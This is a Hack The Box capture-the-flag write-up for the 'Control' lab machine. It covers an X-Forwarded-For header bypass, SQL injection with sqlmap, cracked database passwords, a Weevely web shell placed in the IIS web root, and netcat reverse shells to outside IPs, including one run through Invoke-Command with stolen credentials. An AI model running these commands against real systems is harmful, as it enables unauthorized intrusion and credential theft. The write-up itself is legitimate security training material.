Hack The Box Labs - "Control" Writeup [Pentest]


28-12-2019

Discovery

Starting with one initial Nmap scan. It shows open ports running the following services:

This is a windows box. MySQL service listening on port 3306 was not recognized. However, Nmap fingerprint returned MariaDB Server. It may be caused by a custom installation and/or configuration.

Heading to HTTP, we are presented with this nice page:

At this point we identified three hyperlinks.

  1. http://control.htb/index.php
  2. http://control.htb/about.php
  3. http://control.htb/admin.php

Also, having a look at the raw HTML in index.php page we spot one interesting comment inserted by a developer.

The network share \\192.168.4.28\myfiles could be useful later. This IP address is out of our range (10.10.10.1/24)

While trying to load admin.php page it throws the following error:

Access Denied: Header Missing. Please ensure you go through the proxy to access this page

Vulnerabilities

My first thought was setting up a HTTP proxy configuration in web browser but since we cannot reach that IP address it wouldn't be possible.

Remembering how to identify a connection coming from a HTTP proxy: X-Forwarded-For header.

This is how verification is done in admin.php. It checks if the client is authorized to access this page by looking at IP address whitelist.

Requesting admin.php with header value set to 192.168.4.28 will load the page as intended and we will be allowed to enter in administration panel.

Burp proxy was configured to add a custom header to every request in order to explore this panel with more flexibility.

At this time we know this information is being stored and served by the MySQL server we identified previously.

The first functionality is a product search by name. It is worth to try a few characters commonly used in detection for SQL injection.

For example, single quote ', semicolon ; or comment delimiter -- aiming to modify the original query.

Searching for a single quote as product name returns a syntax error. The character messed up with the original query because it is not being properly filtered.

This means that we can inject arbitrary MySQL queries and consequently read and/or modify the database.

Next step, to avoid manual and exaustive techniques, is to execute sqlmap which is one of the most powerful automated tools to explore SQL injection flaws.

Executing $ ./sqlmap.py -u "http://control.htb/search_products.php" --headers "X-Forwarded-For: 192.168.4.28" --data "productName=*" --dbms "mysql" --dbs

The warehouse database contains information that is being displayed in administration panel. There's nothing interesting in it. Only sample rows and few product categories.

Moving on to mysql. This database contains tables with juicy info.

In particular, mysql.user table has the information about users with permission to access this MariaDB server.

Our next hope is that passwords are not too complex in order to crack them via a dictionary-based attack.

Checking these hashes on CrackStation.net gives us the plaintext for two of them.

  1. root : <unknown>
  2. manager : l3tm3!n
  3. hector : l33th4x0rhector

It seems we reached end of the line. We got into the administration panel, exploited one SQL injection flaw and dumped the database. We've also found these fancy credentials.

The goal now is to get a shell, either a command line or PowerShell.

While trying to connect to SQL server remotely with the credentials we found results in access denied. This server doesn't accept remote incoming connections, therefore we need to connect from local network.

At this point we should start enumerating MariaDB server to understand what it is possible to accomplish through the user we are performing MySQL queries, the user manager

This user has FILE privileges which means we are allowed to read and write files on the server using statements like LOAD_FILE() for reading and INTO OUTFILE for writing.

We can take advantage of sqlmap features such as --sql-query "SELECT LOAD_FILE('C:/windows/system32/drivers/etc/hosts');" to read the local Windows hosts file, for example.

Great! We just read a system file from the target machine through SQL.

Since this machine has PHP working together with Microsoft IIS we can find a way to upload an arbitrary .php file and execute it through web server, by accessing it.

Once again, sqlmap provides a complete toolkit to explore SQL injection flaws. It is possible to write a file to a desired location using both --file-write <local_file> and --file-dest <remote_path> options.

Local file could contain either <?php phpinfo();?> or a simple call to PHP system() function in order to execute commands on the target machine, although, we don't know what is the absolute path of web root to upload it.

The easiest way is to use --os-shell option in sqlmap and let it fuzz automatically using its own pre-set dictionary.

Other method could be getting a nice list for common web root directories (e.g. SecLists) and create a script to read a known file, for example <path>/index.php, through MariaDB where <path> is iterating each line of the list.

It turns out that the web root of this machine is simply C:/inetpub/wwwroot/

By uploading a Weevely generated web-shell to C:/inetpub/wwwroot/w.php will permit us to execute simple commands.

$ ./weevely.py http://control.htb/w.php 1337

We are executing commands as NT AUTHORITY/IUSR which is a built-in user for M Microsoft IIS but that's not enough as we don't have sufficient privileges.

Looking at Fidelity user accounts we can see a user named Hector that also exists as a MySQL user. It is a good idea to check if there is password reutilization.

However, we don't have remote desktop connection to the machine and our command prompt is not interactive enough to leverage this shell.

In this case we should spawn a PowerShell in order to have more control. This can be accomplished by uploading nc.exe to web-root and then sending a powershell to our listening netcat server.

On target machine, nc.exe -e powershell.exe 10.10.15.117 4444 will pop a powershell at our listening netcat.

Ok, this is getting better. Now we can get a powershell as another user by creating a PSCredential object and passing the -Credential flag in Invoke-Command.

Setting up the object:

$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential("Fidelity\Hector", $pass)

We should run another netcat instance listening on a different port to receive a PowerShell as user and execute the cmdlet.

Invoke-Command -Computer Fidelity -Credential $cred -ScriptBlock { cmd.exe "/c C:\inetpub\wwwroot\nc.exe -e powershell.exe 10.10.15.212 4445" }

Got it! Escalated from built-in IIS IUSR to another user Hector

From now we're able to read important documents and even pop another PowerShell with higher privileges :)

References

  1. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For
  2. https://www.sjoerdlangkemper.nl/2017/03/01/bypass-ip-block-with-x-forwarded-for-header/
  3. https://portswigger.net/bappstore/807907f5380c4cb38748ef4fc1d8cdbc
  4. https://github.com/sqlmapproject/sqlmap/wiki/Usage
  5. https://blogs.msdn.microsoft.com/koteshb/2010/02/12/powershell-how-to-create-a-pscredential-object/
  6. https://codingbee.net/powershell/powershell-use-credssp-to-run-commands-remotely-with-fewer-issues

← Go Back